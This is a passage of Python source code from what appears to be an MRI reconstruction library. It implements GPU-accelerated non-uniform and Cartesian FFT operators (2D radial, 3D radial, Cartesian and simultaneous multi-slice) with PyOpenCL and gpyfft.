int(round(par["dimY"]*self.ogf)), int(round(par["dimX"]*self.ogf))) else: self.fft_shape = ( par["NScan"] * par["NC"] * par["NSlice"], int(round(par["dimY"]*self.ogf)), int(round(par["dimX"]*self.ogf))) self.fft_scale = DTYPE_real( np.sqrt(np.prod(self.fft_shape[self.fft_dim[0]:]))) (kerneltable, kerneltable_FT) = calckbkernel( kwidth, self.ogf, par["N"], klength) deapo = 1 / kerneltable_FT.astype(DTYPE_real) self.cl_kerneltable = cl.Buffer( self.ctx, cl.mem_flags.READ_ONLY | cl.mem_flags.COPY_HOST_PTR, hostbuf=kerneltable.astype(DTYPE_real).data) self.cl_deapo = cl.Buffer( self.ctx, cl.mem_flags.READ_ONLY | cl.mem_flags.COPY_HOST_PTR, hostbuf=deapo.data) self.dcf = clarray.to_device(self.queue, par["dcf"]) self.traj = clarray.to_device(self.queue, par["traj"]) self._tmp_fft_array = ( clarray.zeros( self.queue, (self.fft_shape), dtype=DTYPE)) if par["use_GPU"]: self.par_fft = int( self.fft_shape[0] / par["NScan"]) else: self.par_fft = self.fft_shape[0] self.iternumber = int(self.fft_shape[0]/self.par_fft) self.fft = FFT(ctx, queue, self._tmp_fft_array[ 0:self.par_fft, ...], out_array=self._tmp_fft_array[ 0:self.par_fft, ...], axes=self.fft_dim) self._kernelpoints = kerneltable.size self._kwidth = kwidth / 2 self._check = np.ones(self.fft_shape[-1], dtype=DTYPE_real) self._check[1::2] = -1 self._check = clarray.to_device(self.queue, self._check) self._gridsize = self.fft_shape[-1] def __del__(self): """Explicitly delete OpenCL Objets.""" del self.traj del self.dcf del self._tmp_fft_array del self.cl_kerneltable del self.cl_deapo del self._check del self.queue del self.ctx del self.prg del self.fft def FFTH(self, sg, s, wait_for=None, scan_offset=0): """Perform the inverse (adjoint) NUFFT operation. Parameters ---------- sg : PyOpenCL.Array The complex image data. s : PyOpenCL.Array The non-uniformly gridded k-space wait_for : list of PyopenCL.Event, None A List of PyOpenCL events to wait for. scan_offset : int, 0 Offset compared to the first acquired scan. Returns ------- PyOpenCL.Event: A PyOpenCL event to wait for. """ if wait_for is None: wait_for = [] # Zero tmp arrays self._tmp_fft_array.add_event( self.prg.zero_tmp( self.queue, (self._tmp_fft_array.size, ), None, self._tmp_fft_array.data, wait_for=self._tmp_fft_array.events)) # Grid k-space self._tmp_fft_array.add_event( self.prg.grid_lut( self.queue, (s.shape[0], s.shape[1] * s.shape[2], s.shape[-2] * self._gridsize), None, self._tmp_fft_array.data, s.data, self.traj.data, np.int32(self._gridsize), np.int32(sg.shape[2]), self.DTYPE_real(self._kwidth), self.dcf.data, self.cl_kerneltable, np.int32(self._kernelpoints), np.int32(scan_offset), wait_for=(wait_for + s.events + self._tmp_fft_array.events))) # FFT self._tmp_fft_array.add_event( self.prg.fftshift( self.queue, (self.fft_shape[0], self.fft_shape[1], self.fft_shape[2]), None, self._tmp_fft_array.data, self._check.data, wait_for=self._tmp_fft_array.events)) cl.wait_for_events(self._tmp_fft_array.events) fft_events = [] for j in range(self.iternumber): fft_events.append(self.fft.enqueue_arrays( data=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], result=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], forward=False)[0]) self._tmp_fft_array.add_event( self.prg.fftshift( self.queue, (self.fft_shape[0], self.fft_shape[1], self.fft_shape[2]), None, self._tmp_fft_array.data, self._check.data, wait_for=fft_events)) return self.prg.deapo_adj( self.queue, (sg.shape[0] * sg.shape[1] * sg.shape[2], sg.shape[3], sg.shape[4]), None, sg.data, self._tmp_fft_array.data, self.cl_deapo, np.int32(self._tmp_fft_array.shape[-1]), self.DTYPE_real(self.fft_scale), self.DTYPE_real(self.ogf), wait_for=(wait_for + sg.events + self._tmp_fft_array.events)) def FFT(self, s, sg, wait_for=None, scan_offset=0): """Perform the forward NUFFT operation. Parameters ---------- s : PyOpenCL.Array The non-uniformly gridded k-space. sg : PyOpenCL.Array The complex image data. wait_for : list of PyopenCL.Event, None A List of PyOpenCL events to wait for. scan_offset : int, 0 Offset compared to the first acquired scan. Returns ------- PyOpenCL.Event: A PyOpenCL event to wait for. """ if wait_for is None: wait_for = [] # Zero tmp arrays self._tmp_fft_array.add_event( self.prg.zero_tmp( self.queue, (self._tmp_fft_array.size, ), None, self._tmp_fft_array.data, wait_for= self._tmp_fft_array.events)) # Deapodization and Scaling self._tmp_fft_array.add_event( self.prg.deapo_fwd( self.queue, (sg.shape[0] * sg.shape[1] * sg.shape[2], sg.shape[3], sg.shape[4]), None, self._tmp_fft_array.data, sg.data, self.cl_deapo, np.int32(self._tmp_fft_array.shape[-1]), self.DTYPE_real(1 / self.fft_scale), self.DTYPE_real(self.ogf), wait_for=wait_for + sg.events + self._tmp_fft_array.events)) # FFT self._tmp_fft_array.add_event( self.prg.fftshift( self.queue, (self.fft_shape[0], self.fft_shape[1], self.fft_shape[2]), None, self._tmp_fft_array.data, self._check.data, wait_for=self._tmp_fft_array.events)) cl.wait_for_events(self._tmp_fft_array.events) fft_events = [] for j in range(self.iternumber): fft_events.append(self.fft.enqueue_arrays( data=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], result=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], forward=True)[0]) self._tmp_fft_array.add_event( self.prg.fftshift( self.queue, (self.fft_shape[0], self.fft_shape[1], self.fft_shape[2]), None, self._tmp_fft_array.data, self._check.data, wait_for=fft_events)) # Resample on Spoke return self.prg.invgrid_lut( self.queue, (s.shape[0], s.shape[1] * s.shape[2], s.shape[-2] * self._gridsize), None, s.data, self._tmp_fft_array.data, self.traj.data, np.int32(self._gridsize), np.int32(s.shape[2]), self.DTYPE_real(self._kwidth), self.dcf.data, self.cl_kerneltable, np.int32(self._kernelpoints), np.int32(scan_offset), wait_for=s.events + wait_for + self._tmp_fft_array.events) class PyOpenCL3DRadialNUFFT(PyOpenCLnuFFT): """Non-uniform FFT object. This class performs the 3D non-uniform FFT (NUFFT) operation. Linear interpolation of a sampled gridding kernel is used to regrid points from the non-cartesian grid back on the cartesian grid. Parameters ---------- ctx : PyOpenCL.Context The context for the PyOpenCL computations. queue : PyOpenCL.Queue The computation Queue for the PyOpenCL kernels. par : dict A python dict containing the necessary information to setup the object. Needs to contain the number of slices (NSlice), number of scans (NScan), image dimensions (dimX, dimY), number of coils (NC), sampling points (N) and read outs (NProj) a PyOpenCL queue (queue) and the complex coil sensitivities (C). kwidth : int The width of the sampling kernel for regridding of non-uniform kspace samples. klength : int The length of the kernel lookup table which samples the contineous gridding kernel. DTYPE : Numpy.dtype The comlex precision type. Currently complex64 is used. DTYPE_real : Numpy.dtype The real precision type. Currently float32 is used. Attributes ---------- traj : PyOpenCL.Array The comlex sampling trajectory dcf : PyOpenCL.Array The densitiy compenation function ogf (float): The overgriddingfactor for non-cartesian k-spaces. fft_shape : tuple of ints 3 dimensional tuple. Dim 0 containts all Scans, Coils and Slices. Dim 1 and 2 the overgridded image dimensions. fft_scale : float32 The scaling factor to achieve a good adjointness of the forward and backward FFT. cl_kerneltable (PyOpenCL.Buffer): The gridding lookup table as read only Buffer cl_deapo (PyOpenCL.Buffer): The deapodization lookup table as read only Buffer par_fft : int The number of parallel fft calls. Typically it iterates over the Scans. fft : gpyfft.fft.FFT The fft object created from gpyfft (A wrapper for clFFT). The object is created only once an reused in each iterations, iterationg over all scans to keep the memory footprint low. prg : PyOpenCL.Program The PyOpenCL.Program object containing the necessary kernels to execute the linear Operator. This will be determined by the factory and set after the object is created. """ def __init__( self, ctx, queue, par, kwidth=5, klength=200, DTYPE=np.complex64, DTYPE_real=np.float32, streamed=False): super().__init__(ctx, queue, par["fft_dim"], DTYPE, DTYPE_real) # self.ogf = par["N"]/par["dimX"] self.ogf = par["ogf"] self.fft_shape = ( par["NScan"] * par["NC"], int(round(par["NSlice"]*self.ogf)), int(round(par["dimY"]*self.ogf)), int(round(par["dimX"]*self.ogf))) self.fft_scale = DTYPE_real( np.sqrt(np.prod(self.fft_shape[-3:]))) (kerneltable, kerneltable_FT) = calckbkernel( kwidth, self.ogf, par["N"], klength) deapo = 1 / kerneltable_FT.astype(DTYPE_real) self.cl_kerneltable = cl.Buffer( self.ctx, cl.mem_flags.READ_ONLY | cl.mem_flags.COPY_HOST_PTR, hostbuf=kerneltable.astype(DTYPE_real).data) self.cl_deapo = cl.Buffer( self.ctx, cl.mem_flags.READ_ONLY | cl.mem_flags.COPY_HOST_PTR, hostbuf=deapo.data) self.dcf = clarray.to_device(self.queue, par["dcf"]) self.traj = clarray.to_device(self.queue, par["traj"]) self._tmp_fft_array = ( clarray.zeros( self.queue, (self.fft_shape), dtype=DTYPE)) if par["use_GPU"]: self.par_fft = int( self.fft_shape[0] / par["NScan"]) else: self.par_fft = self.fft_shape[0] self.iternumber = int(self.fft_shape[0]/self.par_fft) self.fft = FFT(ctx, queue, self._tmp_fft_array[ 0:self.par_fft, ...], out_array=self._tmp_fft_array[ 0:self.par_fft, ...], axes=self.fft_dim) self._kernelpoints = kerneltable.size self._kwidth = kwidth / 2 self._check = np.ones(self.fft_shape[-1], dtype=DTYPE_real) self._check[1::2] = -1 self._check = clarray.to_device(self.queue, self._check) self._gridsize = self.fft_shape[-1] def __del__(self): """Explicitly delete OpenCL Objets.""" del self.traj del self.dcf del self._tmp_fft_array del self.cl_kerneltable del self.cl_deapo del self._check del self.queue del self.ctx del self.prg del self.fft def FFTH(self, sg, s, wait_for=None, scan_offset=0): """Perform the inverse (adjoint) NUFFT operation. Parameters ---------- sg : PyOpenCL.Array The complex image data. s : PyOpenCL.Array The non-uniformly gridded k-space wait_for : list of PyopenCL.Event, None A List of PyOpenCL events to wait for. scan_offset : int, 0 Offset compared to the first acquired scan. Returns ------- PyOpenCL.Event: A PyOpenCL event to wait for. """ if wait_for is None: wait_for = [] # Zero tmp arrays self._tmp_fft_array.add_event( self.prg.zero_tmp( self.queue, (self._tmp_fft_array.size, ), None, self._tmp_fft_array.data, wait_for=self._tmp_fft_array.events)) # Grid k-space self._tmp_fft_array.add_event( self.prg.grid_lut3D( self.queue, (s.shape[0], s.shape[1], s.shape[-2] * self._gridsize), None, self._tmp_fft_array.data, s.data, self.traj.data, np.int32(self._gridsize), np.int32(sg.shape[2]), self.DTYPE_real(self._kwidth), self.dcf.data, self.cl_kerneltable, np.int32(self._kernelpoints), np.int32(scan_offset), wait_for=(wait_for + s.events + self._tmp_fft_array.events))) # FFT self._tmp_fft_array.add_event( self.prg.fftshift3D( self.queue, (np.prod(self.fft_shape[:2]), self.fft_shape[2], self.fft_shape[3]), None, self._tmp_fft_array.data, self._check.data, wait_for=self._tmp_fft_array.events)) cl.wait_for_events(self._tmp_fft_array.events) fft_events = [] for j in range(self.iternumber): fft_events.append(self.fft.enqueue_arrays( data=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], result=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], forward=False)[0]) self._tmp_fft_array.add_event( self.prg.fftshift3D( self.queue, (np.prod(self.fft_shape[:2]), self.fft_shape[2], self.fft_shape[3]), None, self._tmp_fft_array.data, self._check.data, wait_for=fft_events)) return self.prg.deapo_adj3D( self.queue, (sg.shape[0] * sg.shape[1] * sg.shape[2], sg.shape[3], sg.shape[4]), None, sg.data, self._tmp_fft_array.data, self.cl_deapo, np.int32(self._tmp_fft_array.shape[-1]), self.DTYPE_real(self.fft_scale), self.DTYPE_real(self.ogf), wait_for=(wait_for + sg.events + self._tmp_fft_array.events)) def FFT(self, s, sg, wait_for=None, scan_offset=0): """Perform the forward NUFFT operation. Parameters ---------- s : PyOpenCL.Array The non-uniformly gridded k-space. sg : PyOpenCL.Array The complex image data. wait_for : list of PyopenCL.Event, None A List of PyOpenCL events to wait for. scan_offset : int, 0 Offset compared to the first acquired scan. Returns ------- PyOpenCL.Event: A PyOpenCL event to wait for. """ if wait_for is None: wait_for = [] # Zero tmp arrays self._tmp_fft_array.add_event( self.prg.zero_tmp( self.queue, (self._tmp_fft_array.size, ), None, self._tmp_fft_array.data, wait_for= self._tmp_fft_array.events)) # Deapodization and Scaling self._tmp_fft_array.add_event( self.prg.deapo_fwd3D( self.queue, (sg.shape[0] * sg.shape[1] * sg.shape[2], sg.shape[3], sg.shape[4]), None, self._tmp_fft_array.data, sg.data, self.cl_deapo, np.int32(self._tmp_fft_array.shape[-1]), self.DTYPE_real(1 / self.fft_scale), self.DTYPE_real(self.ogf), wait_for=wait_for + sg.events + self._tmp_fft_array.events)) # FFT self._tmp_fft_array.add_event( self.prg.fftshift3D( self.queue, (np.prod(self.fft_shape[:2]), self.fft_shape[2], self.fft_shape[3]), None, self._tmp_fft_array.data, self._check.data, wait_for=self._tmp_fft_array.events)) cl.wait_for_events(self._tmp_fft_array.events) fft_events = [] for j in range(self.iternumber): fft_events.append(self.fft.enqueue_arrays( data=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], result=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], forward=True)[0]) self._tmp_fft_array.add_event( self.prg.fftshift3D( self.queue, (np.prod(self.fft_shape[:2]), self.fft_shape[2], self.fft_shape[3]), None, self._tmp_fft_array.data, self._check.data, wait_for=fft_events)) # Resample on Spoke return self.prg.invgrid_lut3D( self.queue, (s.shape[0], s.shape[1], s.shape[-2] * self._gridsize), None, s.data, self._tmp_fft_array.data, self.traj.data, np.int32(self._gridsize), np.int32(s.shape[2]), self.DTYPE_real(self._kwidth), self.dcf.data, self.cl_kerneltable, np.int32(self._kernelpoints), np.int32(scan_offset), wait_for=s.events + wait_for + self._tmp_fft_array.events) class PyOpenCLCartNUFFT(PyOpenCLnuFFT): """Cartesian FFT object. This class performs the FFT operation. Parameters ---------- ctx : PyOpenCL.Context The context for the PyOpenCL computations. queue : PyOpenCL.Queue The computation Queue for the PyOpenCL kernels. par : dict A python dict containing the necessary information to setup the object. Needs to contain the number of slices (NSlice), number of scans (NScan), image dimensions (dimX, dimY), number of coils (NC), sampling points (N) and read outs (NProj) a PyOpenCL queue (queue) and the complex coil sensitivities (C). DTYPE : Numpy.dtype The comlex precision type. Currently complex64 is used. DTYPE_real : Numpy.dtype The real precision type. Currently float32 is used. Attributes ---------- fft_shape : tuple of ints 3 dimensional tuple. Dim 0 containts all Scans, Coils and Slices. Dim 1 and 2 the overgridded image dimensions. fft_scale : float32 The scaling factor to achieve a good adjointness of the forward and backward FFT. par_fft : int The number of parallel fft calls. Typically it iterates over the Scans. fft : gpyfft.fft.FFT The fft object created from gpyfft (A wrapper for clFFT). The object is created only once an reused in each iterations, iterationg over all scans to keep the memory footprint low. mask : PyOpenCL.Array The undersampling mask for the Cartesian grid. prg : PyOpenCL.Program The PyOpenCL.Program object containing the necessary kernels to execute the linear Operator. This will be determined by the factory and set after the object is created. """ def __init__( self, ctx, queue, par, DTYPE=np.complex64, DTYPE_real=np.float32, streamed=False): super().__init__(ctx, queue, par["fft_dim"], DTYPE, DTYPE_real) if streamed: self.fft_shape = ( par["NScan"] * par["NC"] * (par["par_slices"] + par["overlap"]), par["dimY"], par["dimX"]) else: if par["is3D"]: self.fft_shape = ( par["NScan"] * par["NC"], par["NSlice"], par["dimY"], par["dimX"]) else: self.fft_shape = ( par["NScan"] * par["NC"] * par["NSlice"], par["dimY"], par["dimX"]) if par["fft_dim"] is not None: self.fft_scale = DTYPE_real( np.sqrt(np.prod(self.fft_shape[self.fft_dim[0]:]))) self._tmp_fft_array = ( clarray.zeros( self.queue, self.fft_shape, dtype=DTYPE)) if par["use_GPU"]: self.par_fft = int( self.fft_shape[0] / par["NScan"]) else: self.par_fft = self.fft_shape[0] self.iternumber = int(self.fft_shape[0]/self.par_fft) self.mask = clarray.to_device(self.queue, par["mask"]) self.fft = FFT(ctx, queue, self._tmp_fft_array[ 0:self.par_fft, ...], out_array=self._tmp_fft_array[ 0:self.par_fft, ...], axes=self.fft_dim) def __del__(self): """Explicitly delete OpenCL Objets.""" if self.fft_dim is not None: del self._tmp_fft_array del self.fft del self.mask del self.queue del self.ctx del self.prg def FFTH(self, sg, s, wait_for=None, scan_offset=0): """Perform the inverse (adjoint) FFT operation. Parameters ---------- sg : PyOpenCL.Array The complex image data. s : PyOpenCL.Array The uniformly gridded k-space wait_for : list of PyopenCL.Event, None A List of PyOpenCL events to wait for. scan_offset : int, 0 Offset compared to the first acquired scan. Returns ------- PyOpenCL.Event: A PyOpenCL event to wait for. """ if wait_for is None: wait_for = [] if self.fft_dim is not None: self._tmp_fft_array.add_event( self.prg.maskingcpy( self.queue, (self._tmp_fft_array.shape[0], np.prod(self._tmp_fft_array.shape[1:])), None, self._tmp_fft_array.data, s.data, self.mask.data, wait_for=s.events+self._tmp_fft_array.events+wait_for)) cl.wait_for_events(self._tmp_fft_array.events) fft_events = [] for j in range(self.iternumber): fft_events.append(self.fft.enqueue_arrays( data=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], result=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], forward=False)[0]) return ( self.prg.copy( self.queue, (sg.size, ), None, sg.data, self._tmp_fft_array.data, self.DTYPE_real( self.fft_scale), wait_for=sg.events+fft_events)) return self.prg.copy( self.queue, (sg.size, ), None, sg.data, s.data, self.DTYPE_real(1), wait_for=s.events+sg.events+wait_for) def FFT(self, s, sg, wait_for=None, scan_offset=0): """Perform the forward FFT operation. Parameters ---------- s : PyOpenCL.Array The uniformly gridded k-space. sg : PyOpenCL.Array The complex image data. wait_for : list of PyopenCL.Event, None A List of PyOpenCL events to wait for. scan_offset : int, 0 Offset compared to the first acquired scan. Returns ------- PyOpenCL.Event: A PyOpenCL event to wait for. """ if wait_for is None: wait_for = [] if self.fft_dim is not None: self._tmp_fft_array.add_event( self.prg.copy( self.queue, (sg.size, ), None, self._tmp_fft_array.data, sg.data, self.DTYPE_real( 1 / self.fft_scale), wait_for=sg.events+self._tmp_fft_array.events+wait_for)) cl.wait_for_events(self._tmp_fft_array.events) fft_events = [] for j in range(self.iternumber): fft_events.append(self.fft.enqueue_arrays( data=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], result=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], forward=True)[0]) return ( self.prg.maskingcpy( self.queue, (self._tmp_fft_array.shape[0], np.prod(self._tmp_fft_array.shape[1:])), None, s.data, self._tmp_fft_array.data, self.mask.data, wait_for=s.events+fft_events)) return self.prg.copy( self.queue, (sg.size, ), None, s.data, sg.data, self.DTYPE_real(1), wait_for=s.events+sg.events+wait_for) class PyOpenCLSMSNUFFT(PyOpenCLnuFFT): """Cartesian FFT-SMS object. This class performs the FFT operation assuming a SMS acquisition. Parameters ---------- ctx : PyOpenCL.Context The context for the PyOpenCL computations. queue : PyOpenCL.Queue The computation Queue for the PyOpenCL kernels. par : dict A python dict containing the necessary information to setup the object. Needs to contain the number of slices (NSlice), number of scans (NScan), image dimensions (dimX, dimY), number of coils (NC), sampling points (N) and read outs (NProj) a PyOpenCL queue (queue) and the complex coil sensitivities (C). DTYPE : Numpy.dtype The comlex precision type. Currently complex64 is used. DTYPE_real : Numpy.dtype The real precision type. Currently float32 is used. Attributes ---------- fft_shape : tuple of ints 3 dimensional tuple. Dim 0 containts all Scans, Coils and Slices. Dim 1 and 2 the overgridded image dimensions. fft_scale : float32 The scaling factor to achieve a good adjointness of the forward and backward FFT. par_fft : int The number of parallel fft calls. Typically it iterates over the Scans. fft : gpyfft.fft.FFT The fft object created from gpyfft (A wrapper for clFFT). The object is created only once an reused in each iterations, iterationg over all scans to keep the memory footprint low. mask : PyOpenCL.Array The undersampling mask for the Cartesian grid. packs : int The distance between the slices MB : int The multiband factor shift : PyOpenCL.Array The vector pixel shifts used in the fft computation. prg : PyOpenCL.Program The PyOpenCL.Program object containing the necessary kernels to execute the linear Operator. This will be determined by the factory and set after the object is created. """ def __init__( self, ctx, queue, par, DTYPE=np.complex64, DTYPE_real=np.float32, streamed=False): super().__init__(ctx, queue, par["fft_dim"], DTYPE, DTYPE_real) if streamed: self.fft_shape = ( par["NC"] * par["NSlice"], par["dimY"], par["dimX"]) else: self.fft_shape = ( par["NScan"] * par["NC"] * par["NSlice"], par["dimY"], par["dimX"]) self.packs = int(par["packs"]) self.MB = int(par["MB"]) self.shift = clarray.to_device( self.queue, par["shift"].astype(DTYPE_real)) if par["fft_dim"] is not None: self.fft_scale = DTYPE_real( np.sqrt(np.prod(self.fft_shape[self.fft_dim[0]:]))) self._tmp_fft_array = ( clarray.zeros( self.queue, self.fft_shape, dtype=DTYPE)) if par["use_GPU"] and not streamed: self.par_fft = int( self.fft_shape[0] / par["NScan"]) else: self.par_fft = self.fft_shape[0] self.iternumber = int(self.fft_shape[0]/self.par_fft) self.mask = clarray.to_device(self.queue, par["mask"]) self.fft = FFT(ctx, queue, self._tmp_fft_array[ 0:self.par_fft, ...], out_array=self._tmp_fft_array[ 0:self.par_fft, ...], axes=self.fft_dim) def __del__(self): """Explicitly delete OpenCL Objets.""" if self.fft_dim is not None: del self._tmp_fft_array del self.fft del self.mask del self.queue del self.ctx del self.prg def FFTH(self, sg, s, wait_for=None, scan_offset=0): """Perform the inverse (adjoint) FFT operation. Parameters ---------- sg : PyOpenCL.Array The complex image data. s : PyOpenCL.Array The uniformly gridded k-space compressed by the MB factor. wait_for : list of PyopenCL.Event, None A List of PyOpenCL events to wait for. scan_offset : int, 0 Offset compared to the first acquired scan. Returns ------- PyOpenCL.Event: A PyOpenCL event to wait for. """ if wait_for is None: wait_for = [] if self.fft_dim is not None: self._tmp_fft_array.add_event( self.prg.copy_SMS_adjkspace( self.queue, (sg.shape[0] * sg.shape[1], sg.shape[-2], sg.shape[-1]), None, self._tmp_fft_array.data, s.data, self.shift.data, self.mask.data, np.int32(self.packs), np.int32(self.MB), self.DTYPE_real(self.fft_scale), np.int32(sg.shape[2]/self.packs/self.MB), wait_for=s.events+wait_for+self._tmp_fft_array.events)) cl.wait_for_events(self._tmp_fft_array.events) fft_events = [] for j in range(self.iternumber): fft_events.append(self.fft.enqueue_arrays( data=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], result=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], forward=False)[0]) return (self.prg.copy(self.queue, (sg.size,), None, sg.data, self._tmp_fft_array.data, self.DTYPE_real(self.fft_scale), wait_for=sg.events+fft_events)) return self.prg.copy_SMS_adj( self.queue, (sg.shape[0] * sg.shape[1], sg.shape[-2], sg.shape[-1]), None, sg.data, s.data, self.shift.data, self.mask.data, np.int32(self.packs), np.int32(self.MB), self.DTYPE_real(1), np.int32(sg.shape[2]/self.packs/self.MB), wait_for=s.events+sg.events+wait_for) def FFT(self, s, sg, wait_for=None, scan_offset=0): """Perform the forward FFT operation. Parameters ---------- s : PyOpenCL.Array The uniformly gridded k-space compressed by the MB factor. sg : PyOpenCL.Array The complex image data. wait_for : list of PyopenCL.Event, None A List of PyOpenCL events to wait for. scan_offset : int, 0 Offset compared to the first acquired scan. Returns ------- PyOpenCL.Event: A PyOpenCL event to wait for. """ if wait_for is None: wait_for = [] if self.fft_dim is not None: self._tmp_fft_array.add_event( self.prg.copy( self.queue, (sg.size,), None, self._tmp_fft_array.data, sg.data, self.DTYPE_real(1 / self.fft_scale), wait_for=self._tmp_fft_array.events+sg.events+wait_for)) cl.wait_for_events(self._tmp_fft_array.events) fft_events = [] for j in range(self.iternumber): fft_events.append(self.fft.enqueue_arrays( data=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], result=self._tmp_fft_array[ j * self.par_fft:(j + 1) * self.par_fft, ...], forward=True)[0]) return ( self.prg.copy_SMS_fwdkspace( self.queue, (s.shape[0] * s.shape[1], s.shape[-2], s.shape[-1]), None, s.data, self._tmp_fft_array.data, self.shift.data, self.mask.data, np.int32(self.packs), np.int32(self.MB), self.DTYPE_real(self.fft_scale), np.int32(sg.shape[2]/self.packs/self.MB), wait_for=s.events+fft_events+wait_for)) return ( self.prg.copy_SMS_fwd( self.queue, (s.shape[0] * s.shape[1], s.shape[-2], s.shape[-1]), None, s.data, sg.data, self.shift.data, self.mask.data, np.int32(self.packs), np.int32(self.MB), self.DTYPE_real(1), np.int32(sg.shape[2]/self.packs/self.MB), wait_for=s.events+sg.events+wait_for))

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